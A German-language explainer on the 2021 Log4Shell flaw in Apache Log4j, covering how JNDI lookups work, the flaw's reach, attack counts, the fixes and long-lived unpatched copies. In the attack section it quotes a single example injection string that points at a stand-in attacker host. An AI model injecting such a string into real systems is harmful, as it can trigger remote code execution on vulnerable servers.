Log4Shell: Wenn eine Log-Zeile den Code des Angreifers startet

Am 9. Dezember 2021 machte ein Beitrag auf Twitter eine Sicherheitslücke in Log4j öffentlich. Log4j ist eine Bibliothek der Apache Software Foundation. Java-Programme schreiben damit Logs, also Protokolle darüber, was ein Programm tut. Wenn ein solches Programm eine kurze Textzeile von einem Angreifer protokollierte, konnte der Server den Code des Angreifers laden und ausführen. Ein Passwort war dafür nicht nötig.

Die US-amerikanische National Vulnerability Database bewertet die Lücke, bekannt als Log4Shell, mit 10,0, dem höchstmöglichen Wert.

So funktionierte der Angriff

Log4j schreibt nicht nur Log-Meldungen. Es wertet auch Platzhalter darin aus, sogenannte Lookups, die wie ${...} aussehen. Einer dieser Lookups, JNDI, lässt die Bibliothek ein Objekt von einem Verzeichnisserver im Netz abrufen. Ein Angreifer musste nur eine Zeichenfolge wie ${jndi:ldap://attacker.example/x} in etwas einschleusen, das der Server protokollierte. Das konnte ein Benutzername sein, eine Chat-Nachricht oder der Browsername, den eine Webanfrage üblicherweise mitschickt. Der Server kontaktierte dann den Verzeichnisserver des Angreifers und erhielt einen Verweis auf ein Java-Programm. Je nach Java-Version und vorhandenen Bibliotheken lud und startete er dieses Programm.

Reichweite, Angriffe und Schaden

Maven Central ist die wichtigste öffentliche Sammlung von Java-Bibliotheken. Am 16. Dezember 2021 zählte Google dort 35.863 Java-Pakete, die vom fehlerhaften Log4j-Code abhingen. Das sind mehr als 8 % aller Pakete in der Sammlung, während ein durchschnittlicher Sicherheitshinweis für Maven Central 2 % betrifft. Nur etwa 7.000 dieser Pakete nutzten Log4j direkt. Die übrigen bezogen es über andere Pakete, meist fünf Ebenen tief.

Die Angriffe begannen, bevor die Lücke öffentlich war. Cloudflare sah am 1. Dezember, acht Tage vor der Veröffentlichung, erste vereinzelte Tests. Den ersten Angriffsversuch registrierte Cloudflare nur neun Minuten nach dem Beitrag.

Fünf Tage nach der Veröffentlichung zählte Cloudflare 400 Versuche pro Sekunde, wie das US-amerikanische Cyber Safety Review Board festhielt. Bis zum 20. Dezember hatte das Sicherheitsunternehmen Check Point mehr als 4,3 Millionen Versuche blockiert. Es hatte Angriffsversuche auf mehr als 48 % der Unternehmensnetze weltweit gesehen. Das sind gezählte Versuche in den eigenen Daten des jeweiligen Herstellers, keine erfolgreichen Einbrüche. Die Zahlen lassen sich nicht miteinander vergleichen.

Wie groß der Schaden war, ist nicht dokumentiert. Das Cyber Safety Review Board untersuchte 2022 den Fall. Es stellte fest, dass die Lücke weniger ausgenutzt wurde als von vielen Fachleuten angesichts ihrer Schwere vorhergesagt. Es betonte zudem, dass es keine verlässlichen Daten zur Ausnutzung gibt. Die Kosten lagen vor allem in der Reaktion: Allein ein US-Bundesministerium meldete 33.000 Arbeitsstunden für Log4j.

Fix und Reaktion

Das Alibaba Cloud Security Team meldete die Lücke am 24. November 2021 an Apache. Apache übernahm am 5. Dezember einen Fix in den Quellcode und stellte am 10. Dezember Version 2.15.0 bereit. Dieser Fix war unvollständig. Es folgten drei weitere Versionen.

Die Folgelücken erhielten eigene CVE-Nummern. CVE-2021-45046, die verbliebene Lücke in 2.15.0, ist mit 9,0 bewertet. CVE-2021-45105, der Absturz, ist mit 5,9 bewertet. CVE-2021-44832, mit 6,6 bewertet, lässt sich nur ausnutzen, wenn ein Angreifer die Log-Einstellungen bereits ändern kann. Für Programme auf älteren Java-Versionen veröffentlichte Apache 2.12.4 für Java 7 und 2.3.2 für Java 6.

Behörden reagierten schnell. Die US-Cybersicherheitsbehörde CISA nahm Log4Shell am 10. Dezember in ihre Liste ausgenutzter Schwachstellen auf, am Tag des ersten Fixes. Das Bundesamt für Sicherheit in der Informationstechnik (BSI) stufte seine Warnung am 11. Dezember auf die Warnstufe Rot hoch. Am 17. Dezember erließ die CISA die Notfallanweisung 22-02, eine Anordnung, die US-Bundesbehörden befolgen müssen.

Auch Jahre später noch im Einsatz

Viele Kopien blieben ungepatcht. Google rechnete mit einer langen Wartezeit, wahrscheinlich Jahren, bis das ganze Maven-Ökosystem bereinigt wäre. Laut Sonatype enthielten 2025 noch immer etwa 13 % aller Log4j-Downloads die Lücke Log4Shell, das sind rund 40 Millionen.